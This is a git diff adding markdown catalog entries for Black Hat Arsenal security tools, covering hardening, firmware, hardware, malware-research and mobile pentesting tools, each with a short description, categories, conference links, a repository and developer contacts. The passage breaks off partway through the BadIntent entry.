sessions+[](http://www.toolswatch.org/2016/06/the-black-hat-arsenal-usa-2016-remarkable-line-up/) [](http://www.toolswatch.org/2016/03/black-hat-arsenal-asia-2016-speakers-line-up/)++### Popularity++ToolsWatch Annual Best Free/Open Source Security Tool Survey:++[](https://www.toolswatch.org/2017/02/2016-top-security-tools-as-voted-by-toolswatch-org-readers)++### Code+https://github.com/s4n7h0/Halcyon++### Lead Developer(s)+ Sanoop Thomas - s4n7h0++### Social Media+* [Twitter](https://twitter.com/s4n7h0)+* [Tool Website](halcyon-ide.org)diff --git a/Penetration Testing/Blackhat Arsenal Tools/frameworks/kubebot.md b/Penetration Testing/Blackhat Arsenal Tools/frameworks/kubebot.mdnew file mode 100644index 0000000..9d2dcb3--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/frameworks/kubebot.md@@ -0,0 +1,32 @@+# Kubebot++### Description+Kubebot is an automated scalable security testing framework based on a microservice architecture. Requests are sent to an API server which then orchestrates running the tools as Docker containers on a Kubernetes (K8S) backend. These requests are asynchronous i.e. they get dropped in a queue which are then picked up by Subscription workers. The subscription workers start the job of running the tools. The results of running those tools are diff'ed and only the changes are sent back to the fronend.++Kubebot uses Slack as the frontend - as a way to send API requests but this can be extended into different frontends as well.++Kubebot also gives the flexibility of setting up scheduled job runs using the K8S cronjob.+++### Categories+* Frameworks+* Security Testing+* BugBounty+* Automation+* Containers+++### Black Hat sessions+[](http://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/)+++### Code+https://github.com/anshumanbh/kubebot+++### Lead Developer+ Anshuman Bhartiya - anshumanbh https://github.com/anshumanbh++### Social Media+* [Twitter](https://twitter.com/anshuman_bh)+* [DevSecOps](https://github.com/devsecops)diff --git a/Penetration Testing/Blackhat Arsenal Tools/frameworks/nightingale.md b/Penetration Testing/Blackhat Arsenal Tools/frameworks/nightingale.mdnew file mode 100644index 0000000..f8d7b6a--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/frameworks/nightingale.md@@ -0,0 +1,31 @@+# Nightingale: Docker for Pentesters++### Description+In today's technological era, docker is the most powerful technology in each and every domain, whether it is Development, cyber security, DevOps, Automation, or Infrastructure.++Considering the demand of the industry, I would like to introduce my idea to create a NIGHTINGALE: docker image for pentesters.+This docker image is ready to use environment will the required tools that are needed at the time of pentesting on any of the scopes, whether it can be web application penetration testing, network penetration testing, mobile, API, OSINT, or Forensics.++The best part is you can either create an altered docker image or pull the pre-built docker image from the hub.Some of the best features are listed below, I would highly recommend going through it and starting penetrating into the application.++Link to access tool list : [tool list](https://owasp.org/www-project-nightingale/)++### Pros+1. No need to install multiple programming language support and multiple modules.+2. Booting process is very fast as per the virtualization concept.+3. Need as per use resource of the host machine.+4. All pre-install tools are installed and if you install any new software or tool use can go with that option.+5. You can perform vulnerability assessment and penetration testing of any scope.+6. You can access this docker container via browser by calling your local address.++### Cons+1. You can run the container over cloud server but can’t perform mobile pentesting.+2. Creating tunnel with SSH can’t help you to provide the connection to your physical device or virtual environment.++Note: Nothing can be impossible, so I will definitely find a solution for the cons points 🤟++### Black Hat sessions+[](https://www.blackhat.com/asia-22/arsenal/schedule/index.html#nightingale-docker-for-pentesters-25856)++### Lead Developer+ Raja Nagori - https://github.com/RAJANAGORI\ No newline at end of filediff --git a/Penetration Testing/Blackhat Arsenal Tools/hardening/lynis.md b/Penetration Testing/Blackhat Arsenal Tools/hardening/lynis.mdnew file mode 100644index 0000000..afeea05--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/hardening/lynis.md@@ -0,0 +1,32 @@+# Lynis++### Description+Lynis is a security auditing tool for sytems running Linux, macOS, BSD, and other flavors of Unix. The tool performs an in-depth security scan and runs on the system itself. The primary goal is to test security defenses and provide tips for further system hardening. It will also scan for general system information, vulnerable software packages, and possible configuration issues. As Lynis is written in POSIX shell script, it is light on resources and low on dependencies. This makes the tool great for putting it in build pipelines, running it as part of a forensics task or as penetration testing tool during an assignment.++### Categories+* Hardening+* Vulnerability assessment++### Black Hat sessions+[](https://www.toolswatch.org/2014/09/lineup-for-the-blackhat-arsenal-europe-2014/)+[](https://www.toolswatch.org/2015/06/black-hat-arsenal-usa-2015-speakers-lineup/)+[](http://www.toolswatch.org/2016/09/the-black-hat-arsenal-europe-2016-line-up/)++### Popularity++ToolsWatch Annual Best Free/Open Source Security Tool Survey:++[](https://www.toolswatch.org/2013/12/2013-top-security-tools-as-voted-by-toolswatch-org-readers)+[](https://www.toolswatch.org/2015/01/2014-top-security-tools-as-voted-by-toolswatch-org-readers)+[](https://www.toolswatch.org/2016/02/2015-top-security-tools-as-voted-by-toolswatch-org-readers)+[](https://www.toolswatch.org/2017/02/2016-top-security-tools-as-voted-by-toolswatch-org-readers)++### Code+https://github.com/CISOfy/lynis++### Lead Developer+ Michael Boelen - CISOfy https://github.com/CISOfy++### Social Media+* [Twitter](https://twitter.com/mboelen)+* [Project page](https://cisofy.com/lynis/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/hardening/sandbox.md b/Penetration Testing/Blackhat Arsenal Tools/hardening/sandbox.mdnew file mode 100644index 0000000..ebbf672--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/hardening/sandbox.md@@ -0,0 +1,27 @@+# Sandbox++### Description+Sandbox provides a simple way to enable basic `seccomp` [system call filtering][1] in any application on Linux (even proprietary one) via environment variables. It is very similar to `SystemCallFilter=` [functionality in systemd][2], but with some advantages:++ * it doesn't have some of `systemd` limitations:+ > the execve, exit, exit_group, getrlimit, rt_sigreturn, sigreturn system calls and the system calls for querying time and sleeping are implicitly whitelisted...+ * it can provide tighter filtering for dynamically linked binaries++### Categories+* Hardening++### Black Hat sessions+[](https://www.blackhat.com/us-22/arsenal/schedule/index.html#sandboxing-in-linux-with-zero-lines-of-code-27289)++### Code+https://github.com/cloudflare/sandbox++### Lead Developer(s)+ Ignat Korchagin - Cloudflare https://github.com/cloudflare++### Social Media+* [Twitter](https://twitter.com/ignatkn)+* [Company Website](https://cloudflare.com/)++[1]: http://man7.org/linux/man-pages/man2/seccomp.2.html+[2]: https://www.freedesktop.org/software/systemd/man/systemd.exec.html#SystemCallFilter=diff --git a/Penetration Testing/Blackhat Arsenal Tools/hardening/zeus.md b/Penetration Testing/Blackhat Arsenal Tools/hardening/zeus.mdnew file mode 100644index 0000000..718c55b--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/hardening/zeus.md@@ -0,0 +1,22 @@+# Zeus++### Description+AWS Auditing & Hardening Tool++Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices. It checks security settings according to the profiles the user creates and changes them to recommended settings based on the CIS AWS Benchmark source at request of the user.++### Categories++ * Hardening+ * Vulnerability Assessment++### Black Hat sessions+[](https://www.toolswatch.org/2018/01/black-hat-arsenal-asia-2018-great-lineup/)++### Code+https://github.com/DenizParlak/Zeus++### Lead Developer+Deniz Parlak - @_denizparlak++### Social Mediadiff --git a/Penetration Testing/Blackhat Arsenal Tools/hardware_iot/bsodomizer-hd.md b/Penetration Testing/Blackhat Arsenal Tools/hardware_iot/bsodomizer-hd.mdnew file mode 100644index 0000000..b7390e3--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/hardware_iot/bsodomizer-hd.md@@ -0,0 +1,26 @@+# BSODomizer HD++### Description+BSODomizer HD is an open source, FPGA-based, covert electronic device that injects and captures HDMI signals. Currently a proof-of-concept design, this much anticipated follow-up to the original [BSODomizer](http://www.grandideastudio.com/portfolio/bsodomizer) released in 2008 improves on the graphics interception and triggering features, and can capture screenshots of any non-HDCP target up to 1080p resolution. Uses of the tool include penetration testing, video display calibration, mischievous acts, or as a reference design for exploration into the mystical world of FPGAs.++### Categories+* Hardware+* Red Team++### Black Hat sessions+[](https://www.toolswatch.org/2016/06/the-black-hat-arsenal-usa-2016-remarkable-line-up/)++### Code+https://github.com/joegrand/bsodomizer-hd-c5g+https://github.com/joegrand/bsodomizer-hd-pic++### Additional Resources+http://www.grandideastudio.com/portfolio/bsodomizer++### Lead Developers+ Joe Grand - Grand Idea Studio https://github.com/joegrand+ Zoz - Cannytrophic Design++### Social Media+* [Twitter](https://twitter.com/joegrand)+* [Company Website](https://www.grandideastudio.com)diff --git a/Penetration Testing/Blackhat Arsenal Tools/hardware_iot/emba.md b/Penetration Testing/Blackhat Arsenal Tools/hardware_iot/emba.mdnew file mode 100644index 0000000..e0bad10--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/hardware_iot/emba.md@@ -0,0 +1,36 @@+# EMBA - Embedded Analyzer++<p align="center">+ <img src="https://github.com/e-m-b-a/emba/blob/master/helpers/emba.svg" width="200"/>+</p>++### Description+*EMBA* is designed as the central firmware analysis tool for penetration testers. It supports the complete security analysis process starting with the firmware extraction process, doing static analysis and dynamic analysis via emulation and finally generating a report. *EMBA* automatically discovers possible weak spots and vulnerabilities in firmware. Examples are insecure binaries, old and outdated software components, potentially vulnerable scripts or hard-coded passwords. *EMBA* is a command line tool with the option to generate an easy to use web report for further analysis.++*EMBA* combines multiple established analysis tools and can be started with one simple command. Afterwards it tests the firmware for possible security risks and interesting areas for further investigation. No manual installation of all helpers, once the integrated installation script has been executed, you are ready to test your firmware.++*EMBA* is designed to assist penetration testers and not as a standalone tool without human interaction. *EMBA* should provide as much information as possible about the firmware, that the tester can decide on focus areas and is responsible for verifying and interpreting the results.++### Categories+* IOT+* Security testing+* Firmware analysis+* Embedded devices+++### Black Hat sessions+++++### Code+* [EMBA Github page](https://github.com/e-m-b-a/emba)++### Lead Developer(s)+* [Michael Messner](https://twitter.com/s3cur1ty_de)+* [Pascal Eckmann](https://twitter.com/_p4cx)++### Social Media+* [Twitter](https://twitter.com/securefirmware/)+* [Mastodon](https://infosec.exchange/@securefirmware)+* [EMBA blog](https://www.securefirmware.de/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/hardware_iot/jtagulator.md b/Penetration Testing/Blackhat Arsenal Tools/hardware_iot/jtagulator.mdnew file mode 100644index 0000000..3e8708d--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/hardware_iot/jtagulator.md@@ -0,0 +1,26 @@+# JTAGulator++### Description+JTAGulator is an open source hardware hacking tool that assists in identifying on-chip debug interfaces from test points, vias, or component pads on a target device. The tool can save a tremendous amount of time during reverse engineering, particularly for those who don't have the resources required for traditional processes.++### Categories+* Hardware+* Reverse engineering+* Vulnerability assessment++### Black Hat sessions+[](https://www.toolswatch.org/2014/06/black-hat-usa-2014-arsenal-tools-speaker-list/)+[](https://www.toolswatch.org/2016/09/the-black-hat-arsenal-europe-2016-line-up/)++### Code+https://github.com/grandideastudio/jtagulator++### Additional Resources+http://www.grandideastudio.com/portfolio/jtagulator++### Lead Developer+ Joe Grand - Grand Idea Studio https://github.com/joegrand++### Social Media+* [Twitter](https://twitter.com/joegrand)+* [Company Website](https://www.grandideastudio.com)diff --git a/Penetration Testing/Blackhat Arsenal Tools/hardware_iot/opticspy.md b/Penetration Testing/Blackhat Arsenal Tools/hardware_iot/opticspy.mdnew file mode 100644index 0000000..16b8448--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/hardware_iot/opticspy.md@@ -0,0 +1,23 @@+# OpticSpy++### Description+Data exfiltration from a compromised device is usually achieved over the network, via hardware implant, or by manipulating the characteristics of an internal electronic component. Optical covert channels transmit data by modulating visible light in a way that is undetectable to the human eye.++OpticSpy consists of two open source hardware modules that provide a low-cost way to explore, evaluate, and experiment with optical covert channels. One is based on an easy-to-build digital receiver, while the other is an analog design that allows fine-tuning for a particular target signal.++### Categories+* Hardware+* Malware research++### Black Hat sessions+[](http://www.toolswatch.org/2017/09/black-hat-arsenal-europe-2017-lineup/)++### Additional Resources+http://www.grandideastudio.com/portfolio/optical-covert-channels/++### Lead Developer+ Joe Grand - Grand Idea Studio https://github.com/joegrand++### Social Media+* [Twitter](https://twitter.com/joegrand)+* [Company Website](https://www.grandideastudio.com)diff --git a/Penetration Testing/Blackhat Arsenal Tools/hardware_iot/owasp_securetea.md b/Penetration Testing/Blackhat Arsenal Tools/hardware_iot/owasp_securetea.mdnew file mode 100644index 0000000..070a674--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/hardware_iot/owasp_securetea.md@@ -0,0 +1,26 @@++# OWASP Securetea++### Description+Small IOT (Internet of Things) to notify users via twitter, whenever anyone accessing his laptop. This small application using the touchpad / mouse / wireless mouse and developed in python and tested on a linux.++The purpose of this application is to warn the user (on twitter) whenever her laptop accessible. This small application was developed and tested in python in linux machine is likely to work well on the Raspberry Pi as well.++### Categories+* IOT+++### Black Hat sessions+[](http://www.toolswatch.org/2018/01/black-hat-arsenal-asia-2018-great-lineup/)++### Code+* https://github.com/owasp-id/SecureTea+* https://www.owasp.org/index.php/OWASP_SecureTea_Project++### Lead Developer(s)+* Bambang Rahmadi K.P+* Ade Yoseman Putra++### Social Media+* [Twitter](https://twitter.com/OwaspJakarta/)+* [Company Website](http://owasp.or.id/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/hardware_iot/whid.md b/Penetration Testing/Blackhat Arsenal Tools/hardware_iot/whid.mdnew file mode 100644index 0000000..311e38c--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/hardware_iot/whid.md@@ -0,0 +1,28 @@+# WHID Injector++### Description+Since the first public appearance of HID Attacks, many awesome researches, tools and devices have been released.+However, Offensive Security folks were always seeking a cheap and dedicated hardware that could be controlled remotely (i.e. over WiFi or BT).+This is how WHID Injector was born.+WHID stands for WiFi-HID injector, it is an USB-Rubberducky / Bad-USB on steroids, designed to fulfill RedTeamers needs during their engagements.+Based on an Atmega 32u4 (i.e. Keyboard, mouse and serial emulation) and a ESP-12 (i.e. Wifi AP/Client), It can be easily controlled over the WiFi network and potentially bypass air-gapped environments.++### Categories+* Hardware IoT+* RedTeam++### Black Hat sessions++[](https://www.toolswatch.org/2017/09/black-hat-arsenal-europe-2017-lineup/)++### Code+https://github.com/whid-injector/WHID++### Lead Developer(s)+ Luca Bongiorni - https://twitter.com/LucaBongiorni++ Corey Harding - https://twitter.com/exploit_agency++### Social Media+* [Medium](https://medium.com/@LucaBongiorni)+* [GitHub](https://github.com/whid-injector)diff --git a/Penetration Testing/Blackhat Arsenal Tools/ics_scada/dyode.md b/Penetration Testing/Blackhat Arsenal Tools/ics_scada/dyode.mdnew file mode 100644index 0000000..cb26a68--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/ics_scada/dyode.md@@ -0,0 +1,23 @@+# DYODE++### Description+DYODE (Do Your Own Dyode) is a low cost, DIY data diode aimed at securing Industrial Control Systems. While data diodes have been used for a long time on classified networks, the high cost and complexity of implementation have kept them away from a lot of valid use cases on industrial control systems. During our assignments, we encountered many situations in which time or availability constraints were not really high -but the security risk was- and a commercial data diode way too costly.++### Categories+* ICS+* Hardware++### Black Hat sessions++[](http://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/)+[](http://www.toolswatch.org/2017/09/black-hat-arsenal-europe-2017-lineup/)++### Code+https://github.com/wavestone-cdt/dyode++### Lead Developer(s)+ Arnaud SOULLIE - Wavestone++### Social Media+* [Twitter](https://twitter.com/arnaudsoullie)+* [Company Website](http://www.wavestone.com/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/malware_research/dotdumper.md b/Penetration Testing/Blackhat Arsenal Tools/malware_research/dotdumper.mdnew file mode 100644index 0000000..9c716cd--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/malware_research/dotdumper.md@@ -0,0 +1,32 @@+# DotDumper++### Description+Analysts at corporations of any size face an ever-increasing amount of DotNet based malware. The malware comes in all shapes and forms, ranging from skiddish stealers all the way to nation state backed targeted malware. The underground market, along with public open-source tools, provide a plethora of ways to obfuscate and pack the malware. Unpacking malware is time consuming, difficult, and tedious, which poses a problem.++To counter this, DotDumper automatically dumps interesting artifacts during the malware's execution, ranging from base64 decoded values to decrypted PE files. As such, the malware decrypts and executes the next stage, while DotDumper conveniently provides a copy of said decrypted stage. All this is done via a simple, compact, intuitive, and easy-to-use command-line interface.++Aside from the dumped artifacts, DotDumper provides an extensive log of the traced execution, based on managed hooks. For each hook, the log contains the original function name, arguments and their values, and the return value. Since DotDumper ensures that the original function is called, the malware's execution continues as if it was executed normally, allowing the analyst to get as many stages from the sample as possible.++DotDumper can execute DotNet Framework executables, as well as dynamic link libraries, due to the fully-fledged reflective loader which is embedded. Any given function can be selected within a library, along with any required variables and their values, all easily accessible from DotDumper's command-line interface.++DotDumper has proven to be effective in dealing with the renowned AgentTesla stealer or the WhisperGate Wiper loader, allowing an analyst to easily fetch the decrypted and unpacked in-memory only stages, thus decreasing up the time spent on unpacking, allowing for faster response to the given threat.++### Categories+* Malware Defense+* Reverse Engineering++### Black Hat sessions+[](https://www.blackhat.com/us-22/arsenal/schedule/#dotdumper-automatically-unpacking-dotnet-based-malware-27846)+[](https://www.blackhat.com/eu-22/arsenal/schedule/index.html#dotdumper-automatically-unpacking-dotnet-based-malware-29569)+Black Hat MEA 2022++### Code+https://github.com/advanced-threat-research/DotDumper++### Lead Developer(s)+Max Kersten - Trellix++### Social Media+* [Twitter](https://twitter.com/Libranalysis)+* [Company Website](https://trellix.com/)+* [Personal Website](https://maxkersten.nl/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/malware_research/floss.md b/Penetration Testing/Blackhat Arsenal Tools/malware_research/floss.mdnew file mode 100644index 0000000..efa20c0--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/malware_research/floss.md@@ -0,0 +1,36 @@+# FireEye Labs Obfuscated String Solver (FLOSS)++### Description+The FireEye Labs Obfuscated String Solver (FLOSS) is an open source tool that automatically detects, extracts, and decodes obfuscated strings in Windows Portable Executable (PE) files. Malware analysts, forensic investigators, and incident responders can use FLOSS to quickly extract sensitive strings to identify indicators of compromise (IOCs). Malware authors encode strings in their programs to hide malicious capabilities and impede reverse engineering. Even simple encoding schemes defeat the ‘strings’ tool and complicate static and dynamic analysis. FLOSS uses advanced static analysis techniques, such as emulation, to deobfuscate encoded strings.++FLOSS is extremely easy to use and works against a large corpus of malware. It follows a similar invocation as the ‘strings’ tool. Users that understand how to interpret the strings found in a binary will understand FLOSS’s output. FLOSS extracts higher value strings, as strings that are obfuscated typically contain the most sensitive configuration resources – including C2 server addresses, names of dynamically resolved imports, suspicious file paths, and other IOCs.++### Categories+* Malware analysis+* Malware research+* Reverse engineering++### Black Hat sessions+#### Arsenal USA 2016+[](https://www.toolswatch.org/2016/06/the-black-hat-arsenal-usa-2016-remarkable-line-up/)++#### Arsenal Europe 2016+[](https://www.toolswatch.org/2016/09/the-black-hat-arsenal-europe-2016-line-up/)++#### Arsenal Asia 2018+[](https://www.toolswatch.org/2018/01/black-hat-arsenal-asia-2018-great-lineup/)++https://www.blackhat.com/asia-18/arsenal/schedule/++### Code+https://github.com/fireeye/flare-floss++### Lead Developers+* William Ballenthin - @williballenthin+* Moritz Raabe - @m_r_tz++### Social Media+* [@williballenthin](https://twitter.com/williballenthin)+* [@m_r_tz](https://twitter.com/m_r_tz)+* [FireEye Website](https://www.fireeye.com/)+diff --git a/Penetration Testing/Blackhat Arsenal Tools/malware_research/libra_binary_analysis _course.md b/Penetration Testing/Blackhat Arsenal Tools/malware_research/libra_binary_analysis _course.mdnew file mode 100644index 0000000..3b5d5c5--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/malware_research/libra_binary_analysis _course.md@@ -0,0 +1,28 @@+# Libra's Binary Analysis Course++### Description+Analysing malware is daunting at first sight, as there are many questions but very little answers. The information security community provides information to researchers, both publicly and privately. Most reports, however, focus on the outcome of the research, rather than the process. As such, there are a lot of reports that show the results, without explicitly stating how they were obtained. In this course, every step that is taken, is explained in detail. As such, one will gain insight in both the thought process, as well as the technical analysis.++This course starts at the very start, where it is assumed that the reader has little to no low level knowledge. It is expected that the reader is able to understand basic programming aspects such as functions/methods, variables, types and system calls.++Unlike most courses, this course aims to only use free and open-source software. This way, everybody can participate and follow the course, whereas most other courses are focused on proprietary tools which cost up to thousands of dollars. This won’t exclude such tools from being used in additional examples later on, but they will not be used as the sole tool in an example.++As the course progresses, the material gets more in-depth and complex. Throughout the chapters, practical cases are included. These cases serve two purposes. Firstly, the reader is greeted with a puzzle every once in a while, instead of pure theory. Secondly, it provides insight in the reader’s learning curve with the help of a given case.+++### Categories+* Malware Defense+* Reverse Engineering++### Black Hat sessions+Black Hat MEA 2022++### Code+https://maxkersten.nl/binary-analysis-course/++### Lead Developer(s)+Max Kersten++### Social Media+* [Twitter](https://twitter.com/Libranalysis)+* [Personal Website](https://maxkersten.nl/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/malware_research/m3.md b/Penetration Testing/Blackhat Arsenal Tools/malware_research/m3.mdnew file mode 100644index 0000000..cdb655a--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/malware_research/m3.md@@ -0,0 +1,25 @@+# Mobile Malware Mimicking Framework++### Description+Emulating malware is a great way to gain insight into the behaviour of threat actors, and to fetch the newest malware samples and modules from the source. Emulating Android malware using virtual machines is a resource intensive task that does not scale well. To resolve this, I wrote the open-source Mobile Malware Mimicking framework, or m3 in short. The framework is built to easily and scalable emulate Android malware whilst using very few resources. Currently, the renowned Anubis and Cerberus families are supported within the framework.++m3's architecture focuses on three main points: simplicity, security, and scalability. To simplify the implementation of new families, the framework is written in Java, which allows the usage of decompiled code snippets. Additionally, the framework provides internal APIs to simplify the workflow. Each bot contains a phone object, which contains many commonly used Android features in plain Java, optimised for emulation purposes. This way, decompiled code only needs minor tweaks before it is executable within the framework. The framework is secure, as unknown commands are logged and furthermore ignored. Due to its open-source nature, anyone can audit and improve the project. Due to the plain Java implementation of the bots, the framework requires very little memory, compared to the virtual machines that would otherwise be required. Adding more bots barely increases the memory usage, allowing a single machine to handle dozens of bots at once.++To use m3, one must first create one or more bots and provide all required details, after which the bots can be emulated. Logging of activities is done per bot, in both the standard output, and a log file per bot. This provides analysts with a detailed overview of the activities that occurred over time.++### Categories+* Malware Defense++### Black Hat sessions+[](https://www.blackhat.com/eu-21/arsenal/schedule/index.html#mobile-malware-mimicking-framework-24923)+[](https://www.blackhat.com/asia-22/arsenal/schedule/index.html#mobile-malware-mimicking-framework-25983)++### Code+https://github.com/ThisIsLibra/m3++### Lead Developer(s)+Max Kersten++### Social Media+* [Twitter](https://twitter.com/Libranalysis)+* [Personal Website](https://maxkersten.nl/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/malware_research/malboxes.md b/Penetration Testing/Blackhat Arsenal Tools/malware_research/malboxes.mdnew file mode 100644index 0000000..6994660--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/malware_research/malboxes.md@@ -0,0 +1,45 @@+# Malboxes++### Description+Malboxes is a tool to streamline and simplify the creation and management of+virtual machines used for malware analysis.++Building analysis machines is a tedious task. One must have all the proper+tools installed on a VM such as a specific version of vulnerable software (ie:+Flash), Sysinternal tools, debuggers (Windbg), network traffic analyzers+(Wireshark), man-in-the-middle tools (Fiddler). One must also avoid leaking+his precious proprietary software licenses (IDA). At the moment, this menial+job is not automated and is repeated by every analyst.++Malboxes leverages the DevOps principle of infrastructure as code to enable+researchers to automatically create fully operational and reusable analysis+machines. The tool uses Vagrant and Packer to do an initial out-of-band+bootstrapping. Afterward, chocolatey is used to install further tools+benefiting from the chocolatey package repository.++Attendees will learn a simple tool for safe malware analysis practice that is+easy to grasp, enabling them to start doing analysis faster. Seasoned malware+researchers will also gain from this demo by seeing how the DevOps approach+can be applied to simplify and accelerate their labs' malware+reverse-engineering capacity or reduce its management overhead.+++### Categories+* Malware Research++### Black Hat sessions++[](https://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/)++### Code+https://github.com/GoSecure/malboxes++### Lead Developer(s)+ Olivier Bilodeau - GoSecure ([GitHub](https://github.com/obilodeau), [Twitter](https://twitter.com/obilodeau))++### Social Media+* [Blog posts, videos and presentations](https://github.com/GoSecure/malboxes#more-information)+* [Company Twitter](https://twitter.com/gosecure_inc)+* [Company Website](https://gosecure.net/)+* [Company GitHub](https://github.com/GoSecure)+diff --git a/Penetration Testing/Blackhat Arsenal Tools/malware_research/procInfo.md b/Penetration Testing/Blackhat Arsenal Tools/malware_research/procInfo.mdnew file mode 100644index 0000000..b0c5901--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/malware_research/procInfo.md@@ -0,0 +1,28 @@+# Proc Info Lib++### Description+Proc Info is an open-source, user-mode, process library for macOS. It provides simple interface to retrieve detailed information about running processes, plus allows one to asynchronously monitor process creation & exit events.++Using this library, one can track processes during [malware analysis](https://speakerdeck.com/patrickwardle/fruitfly-via-a-custom-c-and-c-server?slide=17) or during [bug hunting](https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=20).+++### Categories+* Malware Research+* Exploitation+* Hardening+++### Black Hat sessions+[](http://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/)++### Code+https://github.com/objective-see/ProcInfo<br>+https://github.com/objective-see/ProcInfoExample++### Lead Developer+ Patrick Wardle - Objective-See++### Social Media+* [Twitter](https://twitter.com/patrickwardle)+* [Company Website](https://objective-see.com)+diff --git a/Penetration Testing/Blackhat Arsenal Tools/malware_research/shoggoth.md b/Penetration Testing/Blackhat Arsenal Tools/malware_research/shoggoth.mdnew file mode 100644index 0000000..1fb34a4--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/malware_research/shoggoth.md@@ -0,0 +1,32 @@+# Shoggoth: Asmjit Based Polymorphic Encryptor++### Description+Shoggoth is an open-source project based on C++ and asmjit library used to encrypt given shellcode, PE, and COFF files polymorphically.++Shoggoth will generate an output file that stores the payload and its corresponding loader in an obfuscated form. Since the content of the output is position-independent, it can be executed directly as a shellcode. While the payload is executing, it decrypts itself at runtime. In addition to the encryption routine, Shoggoth also adds garbage instructions, that change nothing, between routines.++Current features are listed below:++- Works on only x64 inputs+- Ability to merge PIC COFF Loader with COFF or BOF input files+- Ability to merge PIC PE Loader with PE input files+- Stream Cipher with RC4 Algorithm+- Block Cipher with randomly generated operations+- Garbage instruction generation++### Categories+* Malware Offense++### Black Hat sessions+[](https://www.blackhat.com/eu-22/arsenal/schedule/index.html#shoggoth-asmjit-based-polymorphic-encryptor-29588)++### Code+https://github.com/frkngksl/Shoggoth++### Lead Developer(s)+ Furkan Göksel++### Social Media+* [Twitter](https://twitter.com/R0h1rr1m)+* [Github](https://github.com/frkngksl)+* [Personal Website](https://frkngksl.github.io/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/malware_research/sniffMK.md b/Penetration Testing/Blackhat Arsenal Tools/malware_research/sniffMK.mdnew file mode 100644index 0000000..ea6b17f--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/malware_research/sniffMK.md@@ -0,0 +1,25 @@+# SniffMK++### Description+SniffMK is a simple utility designed to sniff mouse and keyboard events on macOS. It is based on code from Amit Singh's [website](http://osxbook.com)++SniffMK was designed to facilitate malware analysis (specifically OSX/FruitFly which can simulate both mouse and keyboard events) See BlackHat/DefCon [slides](https://speakerdeck.com/patrickwardle/fruitfly-via-a-custom-c-and-c-server?slide=18) for details.+++### Categories+* Malware Research+++### Black Hat sessions+[](http://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/)++### Code+https://github.com/objective-see/sniffMK++### Lead Developer+ Patrick Wardle - Objective-See++### Social Media+* [Twitter](https://twitter.com/patrickwardle)+* [Company Website](https://objective-see.com)+diff --git a/Penetration Testing/Blackhat Arsenal Tools/mobile_hacking/androidtamer.md b/Penetration Testing/Blackhat Arsenal Tools/mobile_hacking/androidtamer.mdnew file mode 100644index 0000000..14b7a22--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/mobile_hacking/androidtamer.md@@ -0,0 +1,27 @@+# Android Tamer++### Description+Android Tamer project provides various resources for Android mobile application and device security reviews. Be it pentesting, malware analysis, reverse engineering or device assessment. We strive to solve some of the major pain points in setting up the testing environments by providing various ways and means to perform the task in most effortless manner possible.++### Categories+* Mobile Security+* Vulnerability assessment+* Penetration Testing++### Black Hat sessions+[](https://www.toolswatch.org/2015/10/black-hat-arsenal-europe-2015-line-up/)+[](https://www.toolswatch.org/2016/06/the-black-hat-arsenal-usa-2016-remarkable-line-up/)+[](https://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/)++### Code+https://github.com/AndroidTamer/AndroidTamer++### Lead Developers+* Anant Shrivastava - https://github.com/Anantshri+* Chandrapal - https://github.com/Chan9390+* Rahul Binjve - https://github.com/c0dist++### Social Media+* [Official Website](https://androidtamer.com/)+* [Twitter](https://twitter.com/AndroidTamer)+* [Facebook](https://facebook.com/AndroidTamer)diff --git a/Penetration Testing/Blackhat Arsenal Tools/mobile_hacking/badintent.md b/Penetration Testing/Blackhat Arsenal Tools/mobile_hacking/badintent.mdnew file mode 100644index 0000000..b7c94b4--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/mobile_hacking/badintent.md@@ -0,0 +1,25 @@+# BadIntent++### Description+BadIntent integrates Android's Binder framework with Burp Suite. It enables pentesters to use the typical Burp Suite workflow and all of its tools and extensions. BadIntent helps in identifying vulnerabilities, makes AIDL-attacks more easy to perform and assists in attacks against backends. Since Binder transactions are hooked, it is possible to analyze, interrupt, modify and repeat most communication channels and exchanged messages. This can be used for reverse engineering and obfuscation bypass activities.++### Categories+* Mobile Security+* Penetration Testing+* Reverse Engineering++### Black Hat 